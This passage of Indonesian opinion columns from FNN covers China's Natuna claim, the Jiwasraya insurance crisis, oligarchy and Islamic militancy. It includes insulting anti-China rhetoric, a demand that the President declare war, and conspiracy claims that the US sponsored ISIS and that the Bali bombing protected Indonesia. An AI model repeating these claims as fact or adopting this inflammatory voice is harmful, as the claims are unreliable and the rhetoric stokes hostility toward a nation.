mereka tidak mengakui adanya Tuhan. Kita bangsa Indonesia masih mengakui adanya Allah SWT. Sekarang terbukti bahwa China adalah negara tukang cari gara gara. Seenaknya saja menginjak-injak wilayah kita. Sombong, angkuh, dan menggertak. Namun semua tergantung kita juga. Tergantung pada pemimpin kita. Tergantung Menteri dan Presiden kita. Macankah atau tikus cerurut ? Kalau Luhut Binsar Panjaitran, sudah jelas-jelas payah. Ancur deh. Kacrut...! *Penulis adalah Pemerhati Politik

Indonesia Darurat Kedaulatan, Hak Azasi Bangsa Terinjak

By Hartsa Mashirul* Jakarta, FNN - Pelanggaran wilayah yang dilakukan oleh kapal pencari ikan hingga kapal penjagaan laut dan pantai negara Republik Rakyat China (Coast Guard) telah mencederai perdamain dunia. Pemerintah Republik Rakyat China berdalih bahwa Natuna merupakan bagian dari wilayahnya dengan berpegang pada Nine-Dash Line China. Sejak tahun 1947 di bawah kekuasaan Chiang Kai Sek (Partai Kuomintang Pendiri Republic of China) mengklaim teritorial secara sepihak oleh China dengan bentangan seluas 2.000 kilometer dari dataran China. Pemerintahan China menduduki teritorial di Laut China Selatan dengan Angkatan Lautnya . China berupaya untuk menguasai pulau-pulau yang dahulu diduduki Jepang saat Perang Dunia II. China membuat sebelas garis demarkasi putus-putus. Kemudian mereka China sebut dengan Eleven-Dash Line. Masalah ini kemudian menabrak beberapa wilayah kedaulatan negara di perairan Laut China Selatan, diantaranya Filipina, Malaysia, Vietnam, dan Brunai Darussalam. Setelah Kuomintang kalah dalam perang saudara tahun 1949, Partai Komunis China menetapkan diri sebagai penguasa tunggal dengan sebutan Republik Rakyat China yang menganut ideologi komunis dan menggunakan mata uang Yuan. RRC mengklaim dialah satu-satunya perwakilan sah untuk menguasai wilayah maritim Laut China Selatan tersebut. Partai Nasionalis Kuomintang secara yurisdiksi berpindah ke Taiwan dengan menyebut dirinya Republik of China. Mata uangnya Dollar Taiwan, dengan sistem ekonomi kapitalis. Secara de facto Taiwan adalah negara merdeka dan menjadi satu negara dunia, namun secara de jure Taiwan belum mendapatkan pengakuan dari berbagai negara dunia. Namun, hingga saat ini belum diketahui kepastian perang saudara tersebut telah berakhir atau belum. Pada tahun 1950, dua garis putus-putus dihapus. China mengeluarkan Teluk Tonkin sebagai tanda untuk koloni komunisnya di Vietnam Utara, menjadi sembilan garis demarkasi putus-putus atau Nine-Dash Line. Klaim sepihak dengan menggunakan sebutan Nine-Dash Line China merupakan satu hal yang tidak mempunyai landasan Hukum Internasional di Konvensi Perserikatan Bangsa-Bangsa atau United Nations Convention on the Law of the Sea (UNCLOS ) tahun 1982. Rentetan sejarah perjalanan untuk menetapkan hukum laut internasional dalam Pertemuan Konferensi Majelis Umum PBB resolusi 1105 (XI) dari 21 Februari 1957 merupakan puncak dari proses panjang. Bermula dari Konferensi Den Haag untuk Kodifikasi Hukum Internasional yang diadakan tahun 1930 di bawah naungan Liga Bangsa-Bangsa, yang membahas mengenai perairan. Tanggal 29 April 1958 Konferensi PBB di Jenewa tentang Hukum Laut dibuka untuk ditandatangani empat konvensi dan protokol opsional. Berbagai pertimbangan muncul dalam konferensi ini. Tidak hanya memperhitungkan aspek hukum, tetapi juga aspek teknis, biologis, ekonomi dan politik. Selanjutnya tanggal 10 Desember 1982, Konvensi PBB Dalam Hukum Laut Internasional yang dikenal dengan sebutan UNCLOS 1982. Konvensi ini untuk menggantikan perjanjian internasional mengenai laut yang dibuat tahun 1958. Indonesia pada tanggal 13 Desember 1957 menyatakan laut diantara pulau-pulau kita merupakan wilayah Indonesia. Terkenal dengan sebutan “Deklarasi Djuanda”. Hal ini membantah Hukum Laut Internasional saat itu yang mengakui laut teritorial hanya sejauh 12 mil. Deklarasi Djuanda menjadi dasar bagi para juru runding Indoneisa, yaitu Prof Mochtar Kusumaatmadja dan Prof. Hasjim Djalal, berjuang secara diplomasi di PBB, hingga ditandatanganinya UNCLOS 1982. Ketika itu Indonesia didaulat sebagai negeri kepulauan terbesar di dunia. Deklarasi Djuanda yang diperjuangkan menjadi UNCLOS 1982, menguatkan konsepsi Negara Kesatuan Republik Indonesia, dan menjadi dasar bagi berbagai produk hukum kemaritiman yang kuat, dikarenakan kompatibel dengan Hukum Laut Internasional. Sebagai negara kepulauan terbesar didunia yang berdaulat, perilaku klaim sepihak RRC adalah tindakan tidak menghormati kedaulatan Indonesia. Selain itu, tidak menghormati kesepakatan Hukum Laut Internasional yang berlaku. Perilaku semau mereka sendiri mengakibatkan Rakyat Indonesia meradang. Kami, Rakyat Indonesia menegaskan bahwa tidak ada kata toleransi terhadap mereka yang melakukan pencaplokan sejengkalpun wilayah kedaulatan Indonesia oleh negara lain. Sikap Geng Shuang sebagai Juru Bicara Kementrian Luar Negri China yang menyatakan bahwa Natuna masuk dalam wilayah China adalah menabuh genderang perang. Dunia sedang memanas akibat pergolakan politik dan ekonomi yang memanas. Republik Rakyat China yang dimata sebagian rakyat Indonesia sebagai sahabat, saat ini menikam Indonesia dari belakang. Sikap itu adalah mengkhianati dalam hubungan baik diantara kedua negara. Rakyat Indonesia yang berdaulat mengecam keras klaim sepihak Republik Rakyat China atas Pulau Natuna sebagai bagian wilayahnya. Kembali kami tegaskan, bahwa hal ini bukanlah kali pertama tindakan sewenang-wenang China berusaha mencaplok wilayah kedaulatan Indonesia dalam kurun waktu lima tahun ini. Sekitar bulan Juni 2016 lalu, terjadi insiden Natuna antara kapal nelayan Republik Rakyat China dengan kapal perang Republik Indonesia KRI Imam Bonjol-383. Pemerintah China kemudian memprotes atas tertembaknya kapal ikan Han Tan Cou oleh TNI Angkatan Laut Indonesia. Mereka menyebutkan bahwa Natuna sebagai zona perikanan tradisional China. Perilaku pemerintah Republik Rakyat China tidak bisa terus kita diamkan. Karena akan menjadi preseden dan kebiasaan untuk terus mengklaim Natuna sebagai wilayahnya. Untuk itu, kami rakyat Indonesia menuntut pemerintahan Republik Rakyat China untuk segera mengkalrifikasi dan meminta maaf kepada seluruh rakyat Indonesia dan seluruh rakyat unia atas pernyataan Juru Bicara Kementrian Luar Negeri China yang merepresentasikan pemerintahan RRC. Rakyat Indonesia menyampaikan hal ini untuk dijadikan informasi kepada seluruh bangsa-bangsa di dunia, bahwa China terus berusaha mencaplok wilayah kedaulatan Indonesia. China berpegang pada dasar sepihak. Sehingga hal tersebut bertentangan dengan Konvensi Hukum Laut Internasional UNCLOS 1982. Akibatnya dapat mengacaukan perdamain regional pasifik maupun perdamaian dunia. Atas keras kepala pemerintahan China yang berulang kali berusaha melakukan tindakan pencaplokan terhadap kedaulatan wilayah Indonesia, kami rakyat Indonesia menuntut tiga hal sebagai Komando rakyat kepada Presiden Joko Widodo sebagai Kepala Negara Republik Indonesia dan Menteri Pertahanan Republik Indonesia guna menegakkan Hak Azasi Bangsa. Kami mernyampaikan tiga tuntutan yang disebut dengan “TRIKORA”. Pertama, mendesak Presiden sebagai Panglima Tertinggi TNI segara Deklarasikan Perang kepada tetiap negara yang mencaplok wilayah kedaulatan Republik Indonesia. Kedua, mendesak Menteri Pertahanan untuk melindungi seluruh wilayah kedaulatan Republik Indonesia. Memerintahkan segenap jajaran TNI/Polri untuk melaksanakan perang, sebagaimana Amanat Konstitusi UUD 1945 Pertahanan Rakyat Semesta. *Penulis adalah Direktur Eksekutif Indonesian Club

Permasalahan Jiwasraya dan Industri Asuransi

By Andi Rahmat * Jakarta, FNN - Diluar soal dugaan tindak pidana dalam praktek bisnis Badan Usaha Milik Negara (BUMN) Asuransi Jiwasraya, kita sedang menyaksikan bayangan “mengancam” industri ini. Dengan total Asset per November 2019 senilai Rp 1. 346 triliun, industri ini dengan segala dinamikanya sedang mengalami tekanan perubahan yang signifikan. Bagaimana otoritas bertindak mengatasi persoalan yang dihadapi Jiwasraya, akan mempengaruhi landscape industri asuransi kita di masa datang. Relaksasi kebijakan moneter global (Quantitative Easing), Tren Inverted Yield Curve (kurva yield obligasi jangka pendek lebih tinggi dari kurva yield obligasi jangka panjang ) menjadi masalah sendiri. Kondisi ditambah bayang- bayang resiko default hutang global yang tersembunyi, memberi pengaruh kuat dalam kinerja industri asuransi global. Belum lagi pilihan-pilihan instrumen investasi di dalam negeri yang sesuai dengan sifat asuransi yang masih terbatas, dan tidak ditopang pasar keuangan yang dalam. Meski demikian, dalam tiga tahun terakhir, pertumbuhan industri asuransi di indonesia mencatat tren positif. Baik Asuransi Umum maupun Asuransi Jiwa. Pertumbuhan positif ini menjadi catatan tersendiri di tengah krisis yang menimpa Jiwasraya. Namun di tengah pertumbuhan yang positif itu, perubahan landscape perekonomian global dan domestik, juga meningkatkan kompetitif di industri ini. Jiwasraya adalah cerminan betapa kompetitifnya industri ini sekarang. Upaya mengatasi mismatch antara kewajiban jangka pendek pada produk JS Protection Plan, yang dirilis tahun 2012. Sementara profile keuangan Jiwasraya berujung pada dalamnya perusahaan ini masuk limbo insolvabilitas. Langkah ini dilakukan, sebagai upaya jangka pendek mengatasi krisis yang dimulai sejak 2004. Ingat, kendati semua upaya itu dilakukan dengan bantuan skema reasuransi, sebagai satu bantalan utama industri asuransi dalam menghadapi shock, tetap saja Jiwasraya tak keluar dari kesulitannya. Jika otoritas hanya terkonsentrasi dalam penyelesaian isu kriminalitas, yang ditangani Kejaksaan Agung terkait dugaan kerugian negara, maka problem utama menjadi tidak tersentuh. Padahal masalah secara keseluruhan yang terkait dengan masa depan industri asuransi makin tidak terjamah. Berangkat dari kasus Jiwasraya, maka dibutuhkan langkah penyelesaian yang lebih komprehensif dari otoritas terhadap problem industrinya. Ini sesuai dengan perintah undang-undang perasuransian. Ingat, bagi otoritas, khususnya pemerintah, masih ada masalah sama yang menggantung di Asuransi Bumiputera, yang juga memerlukan perhatian serius. Sebagai mantan Ketua Panja RUU Perasuransian, yang menghasilkan UU No. 40 Tahun 2014, saya berharap ada upaya yang lebih luas dan sistematis. Otoritas agar mengatasi masalah ini dengan menata ulang industri asuransi kita. Dari sudut pandang ini, yang sedang dihadapi otoritas adalah kenyataan bahwa industri asuransi kita secara keseluruhan sedang mengalami tantangan yang sangat signifikan. Dalah penyelesaian permasalan Jiwasraya, pemerintah dalam hal ini Kementerian Keuangan memiliki pilihan-pilihan yang sulit. UU No, 40 tentang Perasuransian, pasal 15 menempatkan posisi pemerintah sebagai pengendali Jiwasraya. Posisi sebagai pengendali ini, mengharuskan pemeritah memperkuat Risk Base Capital (RBC) Jiwasraya. Selain itu, juga memperkuat Dana Jaminan yang diperlukan untuk mengatasi kewajiban yang jatuh tempo di Jiwasraya. Sampai disini, muncul pertanyaan,seandainya Jiwasraya adalah perusahaan asuransi swasta, apakah perlakuan yang linient terhadap persoalan yang melilitnya akan sama? Pertanyaan ini terkait dengan bangunan industri asuransi secara luas. Jawabannya, akan berhubungan langsung dengan soal menjaga level of playing field otoritas terhadap industri secara keseluruhan. Dalam skala yang lebih luas, tentu juga terkait dengan kemampuan otoritas memberi sinyal positif terhadap keampuhan dan keabsahan regulasi kita dalam mengelola sektor keuangan. Sayangnya, di tengah situasi sulit ini, suatu Lembaga Penjaminan Oolis (yang sepadan dengan Lembaga Penjaminan Simpanan untuk industri Perbankan) sampai sekarang belum juga dibentuk. Pembentukan Lembaga Penjaminan Polis itu diperintahkan oleh UU No. 40 tahun 2014. Sayangnya, sampai sekarang belum ada kabar beritanya. Saya dengar sudah ada upaya memasukkannya kedalam Program Legislasi Nasional di DPR. Saya kira, pemerintah dan DPR dapat menggunakan momentum ini untuk segera memprioritaskan pembahasan dan penyelesaian peraturan perundang-undangannya. Terkait dengan semua itu, di meja Menteri Keuangan hanya ada dua pilihan penyelesaian. Sekali lagi, Posisi Menteri Keuangan dalam hal ini bukanlah regulator, melainkan sebagai pengendali. Tugas dan kewajibannya sudah diatur jelas di dalam Undang-Undang. Pilihan pertamanya adalah menghentikan kegiataan usaha Jiwasraya. Pilihan keduanya adalah melanjutkan kegiatan usaha Jiwasraya. Pilihan pertama memiliki konsekuensi yang tidak mudah. Sebab sebelum meghentikan usahanya, sesuai dengan ketentuan UU No. 40 tahun 2014, Bab X pasal 42, kewajiban Jiwasraya mesti diselesaikan lebih dahulu. Tentu mengandung konsekuensi fiskal yang tidak kecil. Selain itu, akan menimbulkan dampak yang bisa saja berkonsekuensi contagion terhadap bangunan stabilitas sistem keuangan secara keseluruhan. Lagi-lagi, ini tentu saja memerlukan perhitungan yang cermat. Pilihan kedua adalah tetap melanjutkan kegiatan usaha Jiwasraya. Yang artinya, Menteri Keuangan memenuhi kewajiban standarnya. Kewajiban itu untuk memenuhi syarat-syarat yang diperlukan oleh Jiwasraya sebagai Asuransi Jiwa untuk dapat beroperasi secara normal dalam bingkai regulasi yang ada. Langkah ini juga mengandung konsekuensi fiskal yang tidak mudah. Dalam pilihan-pilihan ini, juga terdapat kemungkinan bagi pengendali untuk menggunakan lembaga mediasi yang sudah diatur didalam undang-undang. Tujuannya untuk mengatasi kesulitan yang dihadapi pemegang polis dalam mendapatkan manfaat asuransi. Dengan begitu, mungkin bisa ditemukan pola restrukturisasi yang dapat membantu Jiwasraya dalam memenuhi kewajibannya. Saya menganjurkan Menteri Keuangan mengambil pilihan ini. Tentu dengan bersungguh- sungguh pula, memproses secara hukum pihak- pihak yang telah merugikan keuangan negara. Jika pilihan ini yang diambil, maka DPR harus dapat diyakinkan untuk mengambil posisi yang sama. Pilihan pertama dan pilihan kedua sama-sama mengandung konsekuensi fiskal. Adapun regulator, dalam hal ini Otoritas Jasa Keuangan ( OJK ) juga memiliki pekerjaan rumah yang tidak gampang. Apalagi sejak berada di bawah pengawasan Bapepam-LK, persoalan Jiwasraya sudah mengemuka dan terus berlangsung hingga berdirinya OJK. Sejarah Jiwasraya sama tuanya dengan sejarah industri asuransi di Indonesia. Dimulai sejak tahun 1859 di masa kolonial Belanda, hingga dinasionalisasinya semua perusahaan asuransi jiwa milik Belanda di tahun 1957. Secara resmi menjadi perusahaan asuransi jiwa milik negara di tahun 1960, dan beroperasi hingga sekarang. Jiwasraya adalah pionir historis asuransi jiwa di Indonesia. Dapat dibayangkan betapa sulitnya regulator dalam menghadapi perusahaan asuransi yang sudah arkaik ini. OJK dalam hemat saya seyogyanya memberi kesempatan kepada Pengendali (Menteri Keuangan) mencari solusi permasalah Jiwasraya. Dengan catatan menilik histori upaya penyelesain masalah Jiwasraya sejak 2004, toleransi yang linient oleh regulator pada hemat kami sudah lebih dari cukup. Seperti yang sudah kami kemukan diawal. Industri asuransi sedang mengalami perubahan dan juga tekanan yang kuat. Laporan tren industri asuransi tahun 2018 yang dirilis oleh OECD menunjukkan beberapa tren umum yang dialami oleh industri asuransi. Diantara tren peningkatan premi, eksposure investasi yang dominan adalah di obligasi. Selain itu, tren kerugian investasi (investment losses) dan besarnya gross kewajiban yang mesti dibayarkan. Eksposure masing-masing negara terhadap tren ini memang variatif. Mc Kinsey dan Deloitte dalam rilisnya mengenai tren industry asuransi global, menunjukkan performa kinerja yang positif. Di kawasan Asia Pasifik, India dan China menjadi faktor utama dalam menggerakkan tren positif itu. Menurut laporan Mc Kinsey, sejak tahun 2010 hingga tahun 2017, pertumbuhan industri asuransi global rata-rata di atas 4% per tahun. Di tahun 2017 malahan tumbuh hingga 4.7 %. Dengan tren yang positif itu, khususnya industri asurnasi jiwa, dalam menyelesaikan Jiwasraya, OJK dituntut untuk bisa menginsulasi dampaknya terhadap kinerja industri secara keseluruhan. Termasuk dalam menjaga tingkat kepercayaan publik terhadap keamanan dan kemampuan industri asuransi dalam menjalankan bisnisnya. Persoalan insolvensi yang dialami Jiwasraya, seyogyanya makin memperkuat penerapan market conduct policy di industri asuransi kita. Sebab menurut laporan Deloitte, ini sudah merupakan tren regulasi asuransi global. Untuk itu, diperlukan pengawasan dan stress test yang memadai dalam menguji solvabilitas industri asuransi. Pengawasan seperti ini diperlukan untuk memastikan bahwa kinerja industri betul-betul ditopang oleh profile bisnis yang kuat. Bukan disebabkan oleh tindak spekulatif jangka pendek yang membahayakan kesinambungan neraca bisnis asuransi dalam jangka panjang. Sejak krisis tahun 1997-1998, kita juga sudah mengalami krisis-krisis sektoral dalam industri keuangan. Seperti krisis redemption besar-besaran reksadana di tahun 2006. Tekanan keuangan pada perbankan tidak sehat, yang tidak signifikan secara ukuran, yang berbuah bailout bank Century di tahun 2008-2009. Sekarang kita juga dihadapkan pada krisis yang dialami Jiwasraya. Semua krisis itu muncul, diantaranya disebabkan oleh komplasensi kebijakan kita sendiri. OJK yang oleh undang-undang diberi kewenangan penuh untuk melakukan penyelidikan dan penyidikan terhadap kejahatan di sektor keuangan, khususnya industri asuransi, sudah waktunya menggunakan kewenangan itu. Kewenangan Kejaksaan Agung adalah perkara dugaan pidana kerugian negara pada BUMN. Sedang OJK memiliki kewenangan khusus utk melidik dan menyidik kejahatan perasuransiannya. Delik dan sanksi adminitratif dan pidana perasuransian, sudah diatur didalam UU No 40 tahun 2014. Mengapa demikian?. Sebab, selain merupakan BUMN, Jiwasraya juga merupakan perusahaan asuransi jiwa yang sama dengan perusahaan asuransi jiwa lainnya. Buah dari hasil lidik dan sidik itu sendiri, bagi industri asuransi adalah rambu-rambu yang lebih pasti dalam menjalankan bisnisnya. Harus dibuat terang, mana yang bisa menjadi ranah pidana asuransi dan mana yang bukan. Ini menjadi penting, karena bagi pelaku industri, kalkulasi terhadap resiko hukum menjadi lebih pasti. Semoga saja. Wallahu ‘alam. Penulis adalah Pelaku Usah dan Mantan Wakil Ketua Ketua Komisi XI DPR RI

Oligarchy Menari di Alam Demokrasi Konstitusional

By Dr. Margarito Kamis * Jakarta, FNN - Langit gelap dunia hukum dan politik Indonesia dua tiga tahun lalu terjadi menyusul munculnya sejumlah kasus. Diantaranya kasus Ranperda Zonasi Wilayah Pesisir dan Pulau-Pulau Kecil di Provinsi DKI Jakarta. Pada kasus ini KPK memeriksa direktur PT Agung Sedayu Land. Tak sampai disitu, KPK juga memeriksa dan mencekal Bos Agung Sedayu Group Sugianto Kusuma alias Agua (detikcom, 27/6/2016). Pada kasus lain, penyuapan pengurusan izin pembangunan Meikarta, teridentifikasi terkait dengan Ranperda Rencana Deteil Tata Ruang Kabupaten Bekasi. Proyek Meikarta teridentifikasi dikerjakan PT. Mahkota Sentosa Utama, anak perusahaan PT. Lippo Cikarang. Sementara PT. Lippo Cikarang teridentiikasi secara faktual oleh media sebagai Anak Usaha Lippo Karawaci. Semuanya terasosiasi dalam Lippo Gorup (CNNIndonesia, 30/10/2018). Ditengah hiruk-pikuk perbincangan terbuka pemindahan ibu kota negara, terungkap secara kredibel kenyataan menarik. PT International Timber Corporation Indonesia (ITCI), Korporasi dalam Group Royal Golden Eagle (RGE) menguasai lahan 6.000 hektar lahan. Sejauh hak atas tanah seluas itu belum berakhir, pemerintah, dengan alasan kepentingan umum sekalipun, suka atau tidak, tidak bisa main ambil tanah ini tanpa dilakukan ganti rugi. Kendalikan Kebijakan Apakah kenyataan parsial itu yang membawa Kiyai Said Aqil Siradj, Ketua Umum Nahdatul Ulama (NU) bersuara keras? Di penghujung tahun 2019 dan awal tahun 2020, dengan nada krits yang gamblang, Kiyai Agil bicara oligarki. Entahlah. Mungkin sekali tidak. Tetapi apapun itu, identifikasi Kiyai atas efek oligarki, cukup meyakinkan. Cukup jelas memperlihatkan tabiat entitas berjumlah terbatas ini. Sekarang, kata Kiyai Said ”yang korupsinya triliunan tenang-tenang saja.” Mengapa? Sistem negara sekarang berjalan dengan oligarki. Ini negara dikuasai orang punya duit, atau didukung oleh yang punya duit. Pak Jokowi tidak punya duit. Pak Jokowi tidak punya partai, tetapi didukung oleh yang punya duit dan punya partai (Era Muslim, 28/12/19). Oligarchy (orang kaya) yang berkuasa (oligarki) memiliki bawaan alamiah. Sedari awal, adanya dalam sejarahnya yang panjang, tak mudah dikendalikan. Sedari zaman Yunani kuno, oligarch identik dengan kekayaan, penguasaan tanpa batas seluruh material ekonomi. Bergerak dari penguasaan satu sumber material ekonomi ke sumber material ekonomi lainnya menjadi napasanya. Penguasaan material ekonomi menjadi sumbu material power. Ini telah umum diidentifikasi sebagai tipikal dasar kelompok kecil ini. Dalam kasus Indonesia, sama dengan Amerika jumlah mereka tidak lebih dari 1%. Mereka dapat disebut dengan kelompok 1%. Studi Oxfam seperti dikutip Dr. Syahganda Nainggolan dalam artikelnya, menemukan kenyataan empat orang terkaya di Indonesia memiliki kekayaan setara dengan 100 juta penduduk Indonesia. Pada tahun 2019, Lembaga Penjamin Simpanan (LPS) mencatat 0,2% pemilik rekening di bank menguasai 63,8% total simpanan bank, tulis Syahganda lebih labih lanjut. Korporasi di Amerika menjadi entitas politik. Donasinya teridentifikasi menjadi instrumen relative utama mengendalikan kebijakan. Capres dan calon legislator teridentifikasi sebagai dua sasaran bergengsi yang didonasi. Tahun 2014 misalnya Liz Kennedy mengidentifikasi, kelompok ini uang sebesar U$ 1,1 miliar dollar kepada kandidat dan komite. Jumlah ini lebih besar dari pengeluaran kelompok buruh. Kelompok buruh hanya bisa begerak hingga angka U$215 juta dollar. Pada tahun yang sama Political Action Committee (PAC’S) yang berafiliasi dengan kelompok bisnis mengeluarkan sekitar U$ 380 juta dollar pada pemilihan federal. Lebih besar dari pengeluaran PAC’s yang berafiliasi dengan kelompok pekerja. Jumlah pengeluaran kelompok terakhir ini hanya sebesar U$ 60 juta dollar. Pada tahun 2016 Liz memperkirakan jumlah uang yang dikeluarkan kelompok bisnis lebih besar, yaitu U$ 1 dollar dari setiap U$ 8 dollar yang dikirimkan ke PACs berasal dari korporasi. Pada pemilihan tahun 2016 super PACs mengeluarkan uang sebesar $1,8 miliar dollar. Ada dampaknya? Michael Fowler disisi lain menulis dua bulan setelah menduduki jabatannya, Trump membolehkan Keystone XL oil pipeline kembali beroperasi. Padahal proyek ini dihentikan pengerjaannya oleh Barack Obama, Presiden pendahulunya. Fowler dan kawan-kawan menulis lebih lanjut di campaign donation impact Trumph decision? Hingga kampanye presiden tahun itu, tulis Jork Spenkuchk, asisten profesor menejemen ekonomi dan ilmu pembuatan keputusan pada Kellog Scholl, yang dikutip Fowler dan kawan-kawan, sektor energi memberi donasi sebesar satu juta dollar kepada kampanye Trump. Jork menulis lebih lanjut, setelah menduduki jabatannya, muncul spekulasi tentang balas budi, quid pro quo terhadap mereka. Bernada mirip, Liz menyatakan hukum tak bakal handal menghentikan pengaruh korporasi dalam politik Amerika. Menariknya sebagian teoritikus, ambil misalnya Milton Friedman, ekonom andal ini, menolak tesis pengaruh korporasi melalui donasi. Korporasi, katanya hanya berurusan dengan keuntungan. Bisnis, katanya, ya bisnis. Itulah mereka. Bagaimana dengan Indonesia? Ini menjadi soal tergelap dalam seluruh atmosfir politik dan hukum. Relatif sama dengan Jerman, juga India untuk kasus tertentu. Selalu begitu urusan politik dalam demokrasi. Gelap, dan sering tak dimasalahkan. Ini berkas bagi koprporasi, yang dimanapun selalu lebih cerdas dalam melangkah. Korporasi tahu soal hukum dan konteks bisnis. Bagi kelompok ini bisnis, tidak bisa dilepaskan dari hukum. Mereka tahu, hukum bukan moral, bukan juga etika, yang menjadi sumber hak dan wewenang. Dalam hukumlah semua hak memasuki penguasaan material ekonomi dan politik didefenisikan. Apa yang diklakukan korporasid engan tesis itu? Kuasailah hukum, maka hak dan wewenang berada dalam genggaman dan jangkaun pengendalian mereka. Tahun 1868, tulis John Coleman dalam Invisible Hand, blok ini berhasil menempatkan Salmon P. Chase, di Mahkamah Agung. Segera setelah itu, Dia dengan statusnya memimpin sidang impeachment terhadap Andrew Johnson. Tahun 1912 kelompok ini berhasil menggolkan The Federal Reserve Act. Berharap Pada NU Oligark Indonesia telah muncul jauh sebelum UUD 1945 diubah pada tahun 1999-2002. Mereka tumbuh di sepanjang rute otokrasi Indonesia. Hebatnya di rute demokrasi yang tercipta setelah pasal-pasal UUD 1945 diubah atau dirumuskan ulang, mereka tetap terus tumbuh dan bergerak masuk ke dalam politik. Pada level yang bisa diperdebatkan, konstitusi terlihat menjadi “piagam atas hak usaha” kelompok ini. Pasal 33 UUD 1945 misalnya memiliki kualifikasi itu. Konsep “efisiensi berkeadilan” lebih dari cukup menjadi benteng utamanya. Praktis konstitusi membawa mereka ke semua sudut material ekonomi dengan cara yang terlihat sah. Betul, pasal 33 UUD 1945 ini dipakai Mahkamah Konstitui memukul telak UU Nomor 27 Tahun 2007 Tentang Pengelolaan Pesisir Pantai dan Pulau-Pulau Kecil, UU Nomor 20 Tahun 2001 Tentang Migas, UU Nomor 9 Tahun 2004 tentang Sumberdaya Air, dan UU Nomor 30 Tahun 2009 Tentang Ketenagalistrikan. Tetapi apa sesudahnya? Tatanan praktis politik ekonomi tidak berubah secara fundamental. Tatanan praktis hukum konstitusi Indonesia, tidak pernah cukup jauh bergeser dari perpektif kapitalisme dan liberalisme. Perspekfif kapitalistik khas UU yang dibatalkan di atas, kembali tertanam dalam, dan cukup jelas pada RUU Pertanahan. RUU ini tenggelam di laut politik pergolakan “mengerikan” mahasiswa akhir September 2019 lalu. Sama dengan hukum pemilu Amerika, hukum pemilu Indonesia juga membenarkan donasi. Dalam hukum Amerika, donasi korporasi dikerangkakan secara hukum pada hak memilih. Perspektif ini didukung Mahkamah Agung. Dukungan itu terlihat pada putusan mereka pada kasus Citizen United v. FEC. Entah menjadi proxy corporation, kelak Citizen United mempersoalkannya ke Mahkamah Agung dan MA pun berubah pikiran. MA berpendapat pemerintah tidak bisa membatasi politik suara, sebagai basis suara politik korporasi. Hukum-hukum konstitusi jenis itu, suka atau tidak, menjadi sumbu ketidakseimbangan, inequality dalam tatanan politik dan ekonomi. Struktur pembuatan kebijakan sejauh ini bertipe oligarkis. Akibatnya jelas dalam semua hal. Korporasi menjadi, kalau tak mendefenisikan pembuatan kebijakan, politik, ekonomi dan hukum, selalu terdepan dalam mendapat manfaat kebijakan itu. Posisi terdepan korporasi, sampai kapanpun tak dapat digantikan oleh rakyat, pemilih kebanyakan. Orang kebanyakan sampai kapanpun, tidak dapat menanjak masuk ke struktur oligarkis pembuatan keputusan. Tidak bakal. Selamanya pemilih pas-pasan berada di pinggiran politik donasi. Mereka jelas tertakdir secara konstitusional sebagai sekumpulan orang berdaulat yang merana dalam kebingungan. Begitulah demokrasi konstitusional bekerja di negeri sumber material ekonomi melimpah ini. Demokrasi dan konstitusi tidak lebih dari sekadar “senjata angin” yang hanya bisa menggertak burung pipit. Tidak lebih. Hukum dan demokrasi malah jadi “benteng” ternyaman korporasi di negeri ini. Menangkap angin jauh lebih mungkin daripada meminta korporasi berhenti memperluas jangkauan cengkeraman sumber material ekonomi. Mengapa? Hukum dan demokrasi terlanjur jatuh ke dalam kubangan perspektif kapitalisme dan liberalisme. Hukum dan demokrasi tipe ini mengabdi pada korporasi. Bisakah dilunakan? Mungkin sekali. NU mungkin bisa menyajikan jalan keluarnya. *Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate

Militanisme Islam dan Laut China Selatan

By Dr. Syahganda Nainggolan* Jakarta, FNN - Abubakar Ba'asyir (ABB) sekarat diusia tuanya di dalam penjara Gunung Sindur, Bogor. Kalau dia wafat, maka stempel teroris melekat pada dirinya. Teroris adalah gelar penjahat kemanusian besar yang dipercaya masyarakat kita. Aktifitas teror yang dikaitkan dilakukan ABB, sebagai pemberi pengaruh, adalah membom beberapa kafe di Bali, 2002. Bos yang menyebabkan ratusan warga Australia meninggal dunia. Ada beberapa warga asing lainnya yang menjadi korban bom Bali. Pada tahun 2002 yang berkuasa di Indonesia adalah rezim "NKRI Harga Mati". Pada kurun waktu itu Australia disinyalir terlibat untuk membantu pemisahan Papua dari "NKRI Harga Mati" tersebut. Sebelumnya kita ketahui bahwa Australia dan barat terlibat dalam pemisahan Timor Timur dari wilayah “NKRI Harga Mati”. Mungkin kurun waktu yang bersamaan hanya membantu kita menganalisa. Bukan sebuah sebab akibat alias hanya "Coincidence". Fakta berikutnya, dalam masa itu, adalah Australia dan barat berhenti membantu gerakan Papua Merdeka. Malah Australia mulai mensponsori unit anti terorisme di pemerintahan dan mendorong kelompok-kelonmpok Islam moderat berbicara tentang deradikalisasi. Sebagian orang percaya, ABB telah menyelamatkan Indonesia dari intervensi Australia untuk memisahkan Papua. Sebagian lagi tentu mengutuknya sebagai teroris. Tunggang menunggangi dalam politik adalah hal yang lumrah saja. ISIS adalah kelempok perlawanan di Syiria yang beroposisi terhadap Bashar Al Assad, Presiden Syiria. Amerika mensponsori ISIS menjadi sebuah kelompok berskala besar, khususnya merujuk Trump, selama kepemimpinan Presiden Obama. Trump kemudian berjanji dalam kampanyenya untuk jadi Presiden 2016, akan menghancurkan ISIS. Selama kepemimpinan Trump, ISIS dihancurkan di mana-mana. Namun, menariknya saat ini Trump membunuh Qosim Solaemani, jenderal terkemuka di Iran, ketika dia ada di Iraq. Trump mengatakan bahwa Solaemani adalah sosok berbahaya yang akan menjadikan Iraq dan Timur Tengah menjadi tidak stabil. Tindakan Trump ini mendapat kecaman dari PBB, Partai Demokrat USA dan tentunya Iran sendiri, serta Bashar Al Assad (Syiria) dan sekutu mereka. Apakah nantinya Presiden Trump akan merangkul kembali ISIS? Ini pertanyaan penting ke depan. Berbeda dengan di Timur Tengah, di Asia Tenggara, Amerika mencari sekutu untuk menghancurkan kekuatan China di Laut China Selatan (LCS). Beberapa tahun lalu, sekutu Amerika, Jepang, menawarkan seluruh pembiayaan perang terhadap China kepada Presiden Philipina, Rodrigo Duterte. Saat ini Amerika juga sedang bekerja keras mencari sekutu di Indonesia untuk menghadapi China, khususnya dalam khasus Uighur, sebagai pintu masuk. Dalam peta lama, Indonesia adalah sekutu Amerika bersama antara lain Singapura, Vietnam, Malaysia, dan Thailand, serta tentunya Jepang, Taiwan, Hongkong dan Korea Selatan. Namun, pergeseran sekutu berubah di Indonesia. Perubahan itu terutama sejak Jokowi dan Luhut Binsar 